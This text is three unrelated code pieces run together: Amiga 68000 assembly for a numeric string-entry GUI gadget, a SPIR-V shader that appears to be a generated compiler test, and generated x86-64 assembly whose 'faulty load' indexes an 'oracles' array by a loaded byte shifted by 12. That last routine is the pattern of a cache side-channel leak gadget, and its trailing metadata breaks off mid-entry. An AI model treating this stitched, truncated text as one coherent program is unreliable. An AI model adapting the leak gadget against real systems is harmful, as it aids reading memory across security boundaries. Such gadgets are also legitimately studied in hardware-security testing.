bne .rts moveq #oxNSF_DELFIRST,d0 .flag tst.w d1 beq .clearflag or.b d0,oxNS_flags(a0) rts .clearflag not.w d0 and.b d0,oxNS_flags(a0) rts NS_INIT bsr calc_string moveq #1,d0 rts calc_value ; calc value from string moveq #0,d0 move.w oxNS_stringlenght(a3),d0 beq .store_val move.l oxNS_string(a3),a0 btst #oxNSB_HEX,oxNS_flags(a3) beq.b .dez bsr hex_to_val bra .store_val .dez btst #oxNSB_DEZ,oxNS_flags(a3) beq.b calc_string bsr dez_to_val .store_val move.l d0,oxNS_value(a3) calc_string ; check value and calc string from value move.l oxNS_value(a3),d0 cmp.l oxNS_minvalue(a3),d0 bls.b .get_min cmp.l oxNS_maxvalue(a3),d0 bls.b .even move.l oxNS_maxvalue(a3),d0 bra.b .even .get_min move.l oxNS_minvalue(a3),d0 .even btst #oxNSB_EVEN,oxNS_flags(a3) beq.b .val_to_string bclr #0,d0 .val_to_string move.l d0,oxNS_value(a3) move.l oxNS_string(a3),a0 move.l a0,a1 ; calc text from value, set lenght btst #oxNSB_HEX,oxNS_flags(a3) beq.b .if_dez move.w oxNS_maxlenght(a3),d1 move.w d1,oxNS_stringlenght(a3) adda.w d1,a1 move.b #$20,(a1) bra val_to_hex .if_dez btst #oxNSB_DEZ,oxNS_flags(a3) beq.b .rts bsr val_to_dez move.b #$20,(a0) sub.l a1,a0 move.w a0,oxNS_stringlenght(a3) .rts rts NS_DEINIT move.l oxNS_string(a3),d0 beq.b .rts move.l d0,a0 move.l #oxNS_BUFFERSIZE,d0 addq.l #1,d0 ; zero byte at end bra free_mem .rts rts NS_DRAW ; draw frame, dont fill inner (is done from NS_draw_string) move.l oxNS_drawinfo(a3),a1 move.l oxDI_rastport(a1),a2 move.l oxDI_pentable(a1),a5 movem.w oxNS_left(a3),d0-d3 add.w d0,d2 add.w d1,d3 subq.w #1,d2 subq.w #1,d3 move.b oxPT_darkpen(a5),d4 ; topleft color move.b oxPT_shinepen(a5),d5 ; bottomright color jsr _LVOoxBevelBorder(a6) addq.w #1,d0 addq.w #1,d1 subq.w #1,d2 subq.w #1,d3 move.b oxPT_blackpen(a5),d4 ; topleft color move.b d4,d5 ; bottomright color jsr _LVOoxBevelBorder(a6) NS_draw_string ; fill/draw inner content, not the frames pushm d0-a6 move.l oxB_gfxbase(a6),a6 move.l oxNS_drawinfo(a3),a1 move.l oxDI_rastport(a1),a2 move.l oxDI_pentable(a1),a5 move.b oxPT_inputpen(a5),d0 ; block color move.l a2,a1 jsr _LVOSetAPen(a6) movem.w oxNS_left(a3),d0-d3 add.w d0,d2 add.w d1,d3 addq.w #2,d0 addq.w #2,d1 subq.w #3,d2 subq.w #3,d3 movem.w d0/d1,-(a7) move.l a2,a1 jsr _LVORectFill(a6) ; can do image fill here movem.w (a7)+,d0/d1 addq.w #2,d0 addq.w #2,d1 add.w rp_TxBaseline(a2),d1 ; print text that fits move.l oxNS_string(a3),d5 beq .ghosted add.w oxNS_offset(a3),d5 movem.w d0/d1,-(a7) pushm a2/a3 move.w oxNS_width(a3),d2 sub.w #2+2+2+2,d2 move.w rp_TxHeight(a2),d3 move.w oxNS_stringlenght(a3),d0 sub.w oxNS_offset(a3),d0 addq.w #1,d0 ; at least one space move.l d5,a0 moveq #1,d1 sub.l a3,a3 lea -te_SIZEOF(a7),a7 move.l a2,a1 move.l a7,a2 jsr -696(a6) ; _LVOTextFit(a6) lea te_SIZEOF(a7),a7 popm a2/a3 move.w d0,d4 movem.w (a7),d0/d1 move.l a2,a1 jsr _LVOMove(a6) move.b oxPT_inputtextpen(a5),d0 move.b oxPT_inputpen(a5),d1 moveq #RP_JAM1,d2 move.l a2,a1 jsr _LVOSetABPenDrMd(a6) move.l d5,a0 move.l a2,a1 move.w d4,d0 jsr _LVOText(a6) movem.w (a7)+,d0/d1 ; print cursor if _ACTIVE bit is set btst #oxNSB_ACTIVE,oxNS_flags(a3) beq .ghosted movem.w d0/d1,-(a7) ; set front and back color and drawmode for cursor move.b oxPT_inputtextpen(a5),d0 move.b oxPT_cursorpen(a5),d1 moveq #RP_JAM2,d2 move.l a2,a1 jsr _LVOSetABPenDrMd(a6) ; calc cursor pos and move to start point move.l d5,a0 move.w oxNS_inpos(a3),d0 move.l a2,a1 jsr _LVOTextLength(a6) add.w (a7)+,d0 move.w (a7)+,d1 move.l a2,a1 jsr _LVOMove(a6) ; print cursor move.l d5,a0 adda.w oxNS_inpos(a3),a0 moveq #1,d0 move.l a2,a1 jsr _LVOText(a6) .ghosted btst #oxNSB_OFF,oxNS_flags(a3) beq.b .restore lea .ghostpattern(pc),a0 move.l a0,rp_AreaPtrn(a2) move.b #1,rp_AreaPtSz(a2) move.b oxPT_blackpen(a5),d0 moveq #0,d1 moveq #RP_JAM1,d2 move.l a2,a1 jsr _LVOSetABPenDrMd(a6) movem.w oxNS_left(a3),d0-d3 add.w d0,d2 add.w d1,d3 add.w #4,d0 add.w #3,d1 subq.w #5,d2 subq.w #4,d3 move.l a2,a1 jsr _LVORectFill(a6) clr.l rp_AreaPtrn(a2) clr.b rp_AreaPtSz(a2) .restore popm d0-a6 moveq #1,d0 rts .ghostpattern dc.w %1000100010001000 dc.w %0010001000100010 NS_draw_string_rf movem.l a0-a3,-(a7) move.l oxNS_drawinfo(a3),a1 move.l oxDI_windowobject(a1),a0 moveq #0,d4 jsr _LVOoxBeginRefresh(a6) bsr NS_draw_string movem.w oxNS_left(a3),d0-d3 moveq #0,d4 move.l oxNS_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 jsr _LVOoxEndRefresh(a6) movem.l (a7)+,a0-a3 rf_rts rts NS_UPDATE ; redraw string only when we are open and visible, do not redraw the frame move.l oxNS_drawinfo(a3),a0 btst #oxDIB_WINDOWOPEN,oxDI_flags(a0) beq rf_rts btst #oxNSB_VISIBLE,oxNS_flags(a3) beq rf_rts ; (with double buffer) bra NS_draw_string_rf NS_GETLAYOUT move.w oxNS_minwidth(a0),oxLI_minwidth(a1) move.l oxNS_drawinfo(a0),a2 move.l oxDI_rastport(a2),a2 move.l rp_Font(a2),a2 move.w tf_YSize(a2),d0 ; line height addq.w #8,d0 ; frame and spacing move.w d0,oxLI_minheight(a1) move.w d0,oxNS_height(a0) ; fixed height move.w oxNS_propw(a0),oxLI_propw(a1) clr.w oxLI_proph(a1) moveq #1,d0 rts NS_SETLAYOUT move.w oxLI_width(a1),d0 tst.w oxNS_propw(a0) bne.b .setw move.w oxNS_minwidth(a0),d0 .setw move.w d0,oxNS_width(a0) move.l oxLI_left(a1),oxNS_left(a0) moveq #1,d0 rts NS_INTUI ; listen for chars, cursor, del and bsp, enter or tab, allways call refresh full content btst #oxNSB_OFF,oxNS_flags(a3) bne.b .rts cmp.l #IDCMP_MOUSEBUTTONS,im_Class(a1) beq.b .button cmp.l #IDCMP_VANILLAKEY,im_Class(a1) beq .key btst #oxNSB_ACTIVE,oxNS_flags(a3) beq .rts cmp.l #IDCMP_RAWKEY,im_Class(a1) bne.b .rts ; tab prev cmp.w #$42,im_Code(a1) bne.b .right move.l oxNS_prev(a3),d4 bra.b .nextprev .key btst #oxNSB_ACTIVE,oxNS_flags(a3) beq .sens cmp.w #$d,im_Code(a1) beq.b .enter ; tab next cmp.w #$9,im_Code(A1) bne .entf move.l oxNS_next(a3),d4 .nextprev beq .rts_used bsr calc_value move.l d4,a0 moveq #OXM_ACTIVATE,d1 jsr _LVOoxDoMethod(a6) .rts_used moveq #1,d0 .rts rts .sens move.b oxNS_senschar(a3),d1 cmp.b im_Code+1(a1),d1 beq NS_ACTIVATE rts .entf cmp.w #$7f,im_Code(a1) bne.b .if_bsp ; entfernen move.w oxNS_stringlenght(a3),d0 beq .rts_used move.w oxNS_offset(a3),d1 add.w oxNS_inpos(a3),d1 move.l oxNS_string(a3),a0 adda.w d1,a0 sub.w d1,d0 beq .rts_used subq.w #1,d0 .entf_lp move.b 1(a0),(a0)+ dbf d0,.entf_lp subq.w #1,oxNS_stringlenght(a3) bra .refresh .if_bsp cmp.w #8,im_Code(a1) bne.b .char ; backspace move.l oxNS_string(a3),a0 adda.w oxNS_offset(a3),a0 adda.w oxNS_inpos(a3),a0 subq.l #1,a0 cmp.l oxNS_string(a3),a0 blt .rts_used .bsp_lp move.b 1(a0),(a0)+ bne.b .bsp_lp tst.w oxNS_stringlenght(a3) beq .rts_used subq.w #1,oxNS_stringlenght(a3) tst.w oxNS_inpos(a3) beq.b .sub_off subq.w #1,oxNS_inpos(a3) bra.b .refresh .sub_off tst.w oxNS_offset(A3) beq.b .rts_used subq.w #1,oxNS_offset(A3) bra.b .refresh .char move.b im_Code+1(a1),d0 btst #oxNSB_HEX,oxNS_flags(a3) beq.b .if_dez cmp.b #"0",d0 blt.b .rts_used cmp.b #"f",d0 bgt.b .rts_used cmp.b #"a",d0 bge.b .is_atof cmp.b #"9",d0 ble.b .write_char cmp.b #"A",d0 blt.b .rts_used cmp.b #"F",d0 bgt.b .rts_used .is_atof bclr #5,d0 ; make big AtoF bra.b .write_char .if_dez btst #oxNSB_DEZ,oxNS_flags(a3) beq.b .write_char cmp.b #"0",d0 blt.b .rts_used cmp.b #"9",d0 bgt.b .rts_used .write_char bsr .edit_hook ; send char, return new char tst.b d0 ; if 0 do nothing beq .rts_used move.l oxNS_string(a3),a0 move.l a0,a1 adda.w oxNS_offset(a3),a1 adda.w oxNS_inpos(a3),a1 subq.l #1,a1 move.w oxNS_stringlenght(a3),d1 cmp.w oxNS_maxlenght(a3),d1 bge .rts_used adda.w d1,a0 addq.w #1,oxNS_stringlenght(a3) .einf_lp move.b (a0),1(a0) subq.l #1,a0 cmp.l a0,a1 bne.b .einf_lp move.b d0,1(a1) addq.w #1,oxNS_inpos(a3) bsr .find_lp bra .refresh .right cmp.w #CURSORRIGHT,im_Code(a1) bne .left .right1 move.w oxNS_offset(a3),d1 add.w oxNS_inpos(a3),d1 cmp.w oxNS_stringlenght(a3),d1 bge .rts_used add.w #1,oxNS_inpos(a3) .find_lp move.w oxNS_inpos(a3),d0 addq.w #1,d0 move.l oxNS_string(a3),a0 adda.w oxNS_offset(a3),a0 move.l oxNS_drawinfo(a3),a1 move.l oxDI_rastport(a1),a1 push a6 move.l oxB_gfxbase(a6),a6 jsr _LVOTextLength(a6) pop a6 move.w oxNS_width(a3),d1 subq.w #8,d1 ; frames and spacings ; subq.w #7,d1 cmp.w d1,d0 ble.b .refresh subq.w #1,oxNS_inpos(a3) addq.w #1,oxNS_offset(a3) bra .find_lp .refresh bsr NS_draw_string_rf bra .rts_used .left cmp.w #CURSORLEFT,im_Code(a1) bne .rts_unused .left1 sub.w #1,oxNS_inpos(a3) bge.b .refresh clr.w oxNS_inpos(a3) subq.w #1,oxNS_offset(a3) bge.b .refresh clr.w oxNS_offset(a3) bra .rts_used .rts_unused moveq #0,d0 rts .button cmp.w #SELECTDOWN,im_Code(a1) bne.b .rts movem.w oxNS_left(a3),d0-d3 bsr is_in_rect beq.b .rts_unused move.l oxNS_string(a3),a0 adda.w oxNS_offset(a3),a0 move.w oxNS_stringlenght(a3),d0 sub.w oxNS_offset(a3),d0 move.l im_IDCMPWindow(a1),a1 move.w wd_GZZMouseX(a1),d2 sub.w oxNS_left(a3),d2 subq.w #4,d2 ; left frames and spacings move.w oxNS_height(a3),d3 ; just a dummy value at least as big as the font height moveq #1,d1 pushm a3/a6 move.l oxNS_drawinfo(a3),a1 move.l oxDI_rastport(a1),a1 sub.l a3,a3 lea -te_SIZEOF(a7),a7 move.l a7,a2 move.l oxB_gfxbase(a6),a6 jsr -696(a6) ; _LVOTextFit(a6) lea te_SIZEOF(a7),a7 move.w d0,d7 pop a3 addq.w #1,d0 move.l oxNS_string(a3),a0 adda.w oxNS_offset(a3),a0 move.l oxNS_drawinfo(a3),a1 move.l oxDI_rastport(a1),a1 jsr _LVOTextLength(a6) pop a6 move.w oxNS_width(a3),d1 subq.w #8,d1 ; frames and spacings ; subq.w #4,d1 cmp.w d1,d0 ble.b .set_active subq.w #1,d7 .set_active bset #oxNSB_ACTIVE,oxNS_flags(a3) bne.b .set_ip bsr ns_reset ; sets d7 to 0 if delfirst move.l a3,d1 move.l oxNS_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 move.l #oxWA_ichbindran,d0 jsr _LVOoxSetAttr(a6) .set_ip move.w d7,oxNS_inpos(a3) bra .refresh .edit_hook ; call edit hook, returns char in d0 move.l oxNS_edithook(a3),d1 .hook beq .rts1 move.l d1,a2 ; hooks get: a0 and a3 *list, a4 *base, a1 and a5 *message, a6 *oxbase move.l oxO_userbase(a3),a4 ; nullterminate string for use in hook move.l oxNS_string(a3),a1 adda.w oxNS_stringlenght(a3),a1 clr.b (a1) lea -oxNSSI_SIZEOF(a7),a7 move.l a7,a1 move.l a1,a5 move.l a3,oxNSSI_object(a5) move.l oxNS_string(a3),oxNSSI_string(a5) move.w oxNS_stringlenght(a3),oxNSSI_lenght(a5) move.l oxNS_value(a3),oxNSSI_value(a5) move.b d0,oxNSSI_char(a5) move.l a3,a0 pushm d2-d7/a2-a6 jsr (a2) popm d2-d7/a2-a6 ; terminate string by space for internal use move.l oxNS_string(a3),a1 adda.w oxNS_stringlenght(a3),a1 move.b #" ",(a1) lea oxNSSI_SIZEOF(a7),a7 .rts1 rts .enter bsr calc_value ; from string and fix value before and remake string form fixed value move.l oxNS_value(a3),d0 move.l oxNS_enterhook(a3),d1 bsr .hook ; activate enter object move.l oxNS_enterobject(a3),d0 beq .self_inact bclr #0,d0 beq.b .abs lea (a4,d0.l),a0 ; get pointer from base bra .get .abs move.l d0,a0 .get move.l (a0),d0 beq .self_inact move.l d0,a0 moveq #OXM_ACTIVATE,d1 jsr _LVOoxDoMethod(a6) bra .rts_used .self_inact ; self-deactivate and remove link from window move.l oxNS_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 move.l #oxWM_clrpriv,d1 jsr _LVOoxDoMethod(a6) bra NS_INACTIVE_1 NS_ACTIVATE bset #oxNSB_ACTIVE,oxNS_flags(a3) bne .rts_unused bsr ns_reset move.l a3,d1 move.l oxNS_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 move.l #oxWA_ichbindran,d0 jsr _LVOoxSetAttr(a6) bsr NS_draw_string_rf ; this draws cursor if _ACTIVE bit is set moveq #1,d0 .rts_unused rts ns_reset bclr #oxNSB_DELFIRST,oxNS_flags(a3) beq.b .rts clr.w oxNS_inpos(a3) moveq #0,d7 clr.w oxNS_stringlenght(a3) move.l oxNS_string(a3),a0 move.b #" ",(a0) clr.l oxNS_value(a3) .rts rts NS_INACTIVE bsr calc_string ; if we clicked with mouse on/into annother gad NS_INACTIVE_1 bclr #oxNSB_ACTIVE,oxNS_flags(a3) beq .rts_unused clr.w oxNS_offset(a3) clr.w oxNS_inpos(a3) bsr NS_draw_string_rf ; does not draw cursor because _AVTIVE bit is clear moveq #1,d0 .rts_unused rts NS_LINKPRIV btst #oxNSB_ACTIVE,oxNS_flags(a3) beq .rts move.l a0,d1 move.l oxNS_drawinfo(a3),a0 move.l oxDI_windowobject(a0),a0 move.l #oxWA_ichbindran,d0 jsr _LVOoxSetAttr(a6) moveq #1,d0 .rts rts NS_RELINK btst #oxNSB_OFF,oxNS_flags(a3) bne.b .rts lea oxNS_prev(a0),a2 jmp _LVOoxRingConnect(a6) .rts rts ; misc support routines is_in_rect movem.l d1-d3/a2,-(a7) move.l im_IDCMPWindow(a1),a2 movem.w wd_GZZMouseX(a2),d4/d5 cmp.w d4,d0 bgt.b .not_in_rect add.w d2,d0 subq.w #1,d0 cmp.w d4,d0 blt.b .not_in_rect cmp.w d5,d1 bgt.b .not_in_rect add.w d3,d1 subq.w #1,d1 cmp.w d5,d1 blt.b .not_in_rect moveq #1,d0 .restack movem.l (a7)+,d1-d3/a2 rts .not_in_rect moveq #0,d0 bra.b .restack alloc_mem tst.l d0 beq.b .rts movem.l d1-a6,-(a7) move.l #$10001,d1 ; MEMF_PUBLIC | MEMF_CLEAR move.l 4.w,a6 jsr _LVOAllocMem(a6) movem.l (a7)+,d1-a6 tst.l d0 .rts rts ;------------------------------ ; dez hex val string ;d0 ;value ;a0 ;*deststring ;>a0 ;*behindnewchars val_to_dez movem.l d1-d4/a1-a2,-(a7) push a0 ; Pufferstart merken moveq #10-1,d1 ; 10 Stellen (wg. dbf -1) lea divtable(pc),a2 ; Divisionstabelle move.l (a2)+,d3 ; = 1000000000 f. ersten Durchlauf moveq #0,d2 ; Flagge für führende Nullen .lp1 moveq #-1,d4 ; Zähler für Subtraktionen ohne Überlauf .2 addq.w #1,d4 ; plus 1 = im Bereich von 0 bis 9 sub.l d3,d0 ; Subtraktion bpl.s .2 ; Solange kein Überlauf (bcc.s) add.l d3,d0 ; Negativen (Überlauf!) Wert korrigieren move.l (a2)+,d3 ; Neuen Wert aus Tabelle, entspricht d3 / 10 add.w #$30,d4 ; Nach ASCII wandeln tst.w d2 ; Schon Ziffern in Puffer abgelegt? bne.b .4 ; Falls ja, auch Nullziffer ablegen cmp.b #"0",d4 ; Ist es eine Nullziffer? beq.b .5 ; Falls ja, führende Null nicht ablegen st d2 ; Sonst Flagge setzen .4 move.b d4,(a0)+ ; Ziffer ablegen .5 dbf d1,.lp1 ; Anzahl Stellen cmp.l (a7)+,a0 ; Pufferadresse = initiale Adresse? bne.b .pop ; Wenn nicht, move.b #"0",(a0)+ ; sonst Nullziffer ablegen (d0 war 0) .pop clr.b (a0) ; String Terminierung (Puffer muss 11 ; Bytes groß sein) movem.l (a7)+,d1-d4/a1-a2 rts divtable dc.l 1000000000 dc.l 100000000 dc.l 10000000 dc.l 1000000 dc.l 100000 dc.l 10000 dc.l 1000 dc.l 100 dc.l 10 dc.l 1 ;d0.w ;number of chars ;a0 ;*string ;>d0 ;value dez_to_val movem.l d1-d3/a0,-(a7) lea (a0,d0.w),a0 subq.w #1,d0 moveq #1,d2 moveq #0,d3 .dv_lp moveq #0,d1 move.b -(a0),d1 sub.w #$30,d1 mulu.w d2,d1 mulu.w #10,d2 add.l d1,d3 dbf d0,.dv_lp move.l d3,d0 movem.l (a7)+,d1-d3/a0 rts val_to_hex push d2 tst.w d1 ble.b .pop ADDA.w D1,A0 ; d0=value / d1=strlen / a0=dest SUBQ.w #1,D1 ; clr.b (a0) ; terminate str .lp MOVE.B D0,D2 LSR.L #4,D0 ANDI.W #$000F,D2 MOVE.B .chars(pc,D2.W),-(A0) DBF D1,.lp .pop pop d2 RTS .chars DC.B '0123456789ABCDEF' even hex_to_val pushm d1/d2 subq.w #1,d0 ; d0=len a0=String, zahl to d0 bge.b .HZ0 moveq #0,d0 move.b #"0",(a0) .HZ0 moveq #0,d2 .HZ1: move.b (a0)+,d1 sub.b #$30,d1 cmp.b #$A,d1 blt.s .HZ2 subq.b #7,d1 and.w #$f,d1 .HZ2: lsl.l #4,d2 or.b d1,d2 dbf d0,.HZ1 move.l d2,d0 popm d1/d2 rts free_mem movem.l d0-a6,-(a7) move.l a0,a1 ; aber in a1 wird gebraucht move.l 4.w,a6 jsr _LVOFreeMem(a6) movem.l (a7)+,d0-a6 rts auto_request ; a0 *text ; a6 *oxbase pushm d0/d1/a0/a1/a2/a3/a6 move.l oxB_intbase(a6),a6 lea .it_body(pc),a1 move.l a0,it_IText(a1) ; insert *text into body intuitext sub.l a0,a0 ; no parent window sub.l a2,a2 ; no positive text lea .it_ok(pc),a3 ; negative text moveq #0,d0 moveq #0,d1 jsr _LVOAutoRequest(a6) popm d0/d1/a0/a1/a2/a3/a6 rts .it_body dc.b 1,0 ; the pens for rendering the text, front,back dc.b 0 ; the mode for rendering the text dc.b 0 ; pad dc.w 0,0 ; relative start location for the text, x,y dc.l 0 ; font, if NULL, you accept the defaults dc.l 0 ; pointer to null-terminated text dc.l 0 ; pointer to another IntuiText to render .it_ok dc.b 1,0 ; the pens for rendering the text, front,back dc.b 0 ; the mode for rendering the text dc.b 0 ; pad dc.w 0,0 ; relative start location for the text, x,y dc.l 0 ; font, if NULL, you accept the defaults dc.l .ok ; pointer to null-terminated text dc.l 0 ; pointer to another IntuiText to render .ok dc.b "OK",0 even ; Zak McKracken for president
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 100 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %47 %77 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %11 "arr" OpName %16 "p" OpName %19 "i" OpName %29 "j" OpName %47 "gl_FragCoord" OpName %77 "_GLF_color" OpName %81 "buf0" OpMemberName %81 0 "_GLF_uniform_int_values" OpName %83 "" OpDecorate %47 BuiltIn FragCoord OpDecorate %77 Location 0 OpDecorate %80 ArrayStride 16 OpMemberDecorate %81 0 Offset 0 OpDecorate %81 Block OpDecorate %83 DescriptorSet 0 OpDecorate %83 Binding 0 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeInt 32 1 %7 = OpTypeInt 32 0 %8 = OpConstant %7 128 %9 = OpTypeArray %6 %8 %10 = OpTypePointer Private %9 %11 = OpVariable %10 Private %12 = OpConstant %6 1 %13 = OpConstantComposite %9 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %12 %14 = OpTypeVector %6 2 %15 = OpTypePointer Function %14 %17 = OpConstantComposite %14 %12 %12 %18 = OpTypePointer Function %6 %26 = OpConstant %6 8 %27 = OpTypeBool %38 = OpTypePointer Private %6 %44 = OpTypeFloat 32 %45 = OpTypeVector %44 4 %46 = OpTypePointer Input %45 %47 = OpVariable %46 Input %48 = OpConstant %7 0 %49 = OpTypePointer Input %44 %52 = OpConstant %44 0 %58 = OpConstant %7 1 %69 = OpConstant %6 0 %76 = OpTypePointer Output %45 %77 = OpVariable %76 Output %78 = OpConstant %44 1 %79 = OpConstant %7 2 %80 = OpTypeArray %6 %79 %81 = OpTypeStruct %80 %82 = OpTypePointer Uniform %81 %83 = OpVariable %82 Uniform %84 = OpTypePointer Uniform %6 %4 = OpFunction %2 None %3 %5 = OpLabel %16 = OpVariable %15 Function %19 = OpVariable %18 Function %29 = OpVariable %18 Function OpStore %11 %13 OpStore %16 %17 OpStore %19 %12 OpBranch %20 %20 = OpLabel OpLoopMerge %22 %23 None OpBranch %24 %24 = OpLabel %25 = OpLoad %6 %19 %28 = OpSLessThan %27 %25 %26 OpBranchConditional %28 %21 %22 %21 = OpLabel OpStore %29 %12 OpBranch %30 %30 = OpLabel OpLoopMerge %32 %33 None OpBranch %34 %34 = OpLabel %35 = OpLoad %6 %29 %36 = OpSLessThan %27 %35 %26 OpBranchConditional %36 %31 %32 %31 = OpLabel %37 = OpLoad %6 %29 %39 = OpAccessChain %38 %11 %37 %40 = OpLoad %6 %39 %41 = OpIEqual %27 %40 %12 OpSelectionMerge %43 None OpBranchConditional %41 %42 %43 %42 = OpLabel %50 = OpAccessChain %49 %47 %48 %51 = OpLoad %44 %50 %53 = OpFOrdLessThan %27 %51 %52 OpSelectionMerge %55 None OpBranchConditional %53 %54 %55 %54 = OpLabel OpBranch %33 %55 = OpLabel %57 = OpLoad %6 %19 %59 = OpAccessChain %18 %16 %58 OpStore %59 %57 OpBranch %43 %43 = OpLabel OpBranch %33 %33 = OpLabel %60 = OpLoad %6 %29 %61 = OpIAdd %6 %60 %12 OpStore %29 %61 OpBranch %30 %32 = OpLabel OpBranch %23 %23 = OpLabel %62 = OpLoad %6 %19 %63 = OpIAdd %6 %62 %12 OpStore %19 %63 OpBranch %20 %22 = OpLabel %64 = OpAccessChain %18 %16 %48 %65 = OpLoad %6 %64 %66 = OpAccessChain %18 %16 %58 %67 = OpLoad %6 %66 %68 = OpIAdd %6 %65 %67 %70 = OpAccessChain %38 %11 %68 OpStore %70 %69 %71 = OpAccessChain %38 %11 %26 %72 = OpLoad %6 %71 %73 = OpIEqual %27 %72 %69 OpSelectionMerge %75 None OpBranchConditional %73 %74 %95 %74 = OpLabel %85 = OpAccessChain %84 %83 %69 %69 %86 = OpLoad %6 %85 %87 = OpConvertSToF %44 %86 %88 = OpAccessChain %84 %83 %69 %69 %89 = OpLoad %6 %88 %90 = OpConvertSToF %44 %89 %91 = OpAccessChain %84 %83 %69 %12 %92 = OpLoad %6 %91 %93 = OpConvertSToF %44 %92 %94 = OpCompositeConstruct %45 %78 %87 %90 %93 OpStore %77 %94 OpBranch %75 %95 = OpLabel %96 = OpAccessChain %84 %83 %69 %69 %97 = OpLoad %6 %96 %98 = OpConvertSToF %44 %97 %99 = OpCompositeConstruct %45 %98 %98 %98 %98 OpStore %77 %99 OpBranch %75 %75 = OpLabel OpReturn OpFunctionEnd
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r8 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0xa38f, %r11 nop nop nop nop sub %rbx, %rbx and $0xffffffffffffffc0, %r11 vmovaps (%r11), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rax nop nop nop and %rdi, %rdi lea addresses_WC_ht+0xbcc7, %r11 clflush (%r11) and $42417, %rdx mov $0x6162636465666768, %r14 movq %r14, %xmm2 vmovups %ymm2, (%r11) nop inc %r14 lea addresses_normal_ht+0x1038f, %rdi nop nop sub %r8, %r8 mov (%rdi), %dx nop nop nop nop nop cmp %r8, %r8 lea addresses_WC_ht+0x1e28f, %rdx nop nop nop nop cmp %r14, %r14 movb (%rdx), %bl nop add %rdi, %rdi lea addresses_UC_ht+0x502f, %rsi lea addresses_WC_ht+0x12f6b, %rdi xor $29241, %r8 mov $48, %rcx rep movsb nop mfence lea addresses_WC_ht+0xcb8f, %rbx and %r8, %r8 movups (%rbx), %xmm0 vpextrq $1, %xmm0, %rsi nop nop nop cmp %r14, %r14 lea addresses_UC_ht+0x1338f, %rsi lea addresses_UC_ht+0xdb8f, %rdi nop nop nop nop add %rbx, %rbx mov $28, %rcx rep movsq nop nop nop inc %r11 lea addresses_normal_ht+0x13bd7, %rsi lea addresses_A_ht+0x738f, %rdi nop nop nop nop cmp %rdx, %rdx mov $64, %rcx rep movsl nop sub %r11, %r11 lea addresses_WT_ht+0x127cf, %rbx nop cmp $63478, %r8 movw $0x6162, (%rbx) xor $39146, %rbx lea addresses_A_ht+0x1b2a3, %r11 clflush (%r11) nop nop nop cmp $60938, %r8 mov (%r11), %ebx nop dec %rbx lea addresses_normal_ht+0x750f, %rbx cmp $46393, %rax movw $0x6162, (%rbx) nop nop nop xor $44689, %rdi lea addresses_WT_ht+0x4acf, %rcx nop and %r8, %r8 mov (%rcx), %si nop sub %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %rbx push %rdi push %rsi // Faulty Load lea addresses_A+0x18b8f, %r11 and %r8, %r8 movb (%r11), %bl lea oracles, %r13 and $0xff, %rbx shlq $12, %rbx mov (%r13,%rbx,1), %rbx pop %rsi pop %rdi pop %rbx pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'src': {'same': True, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 2, 'type': 'addresses_WC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_UC_ht'}} {'src': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': 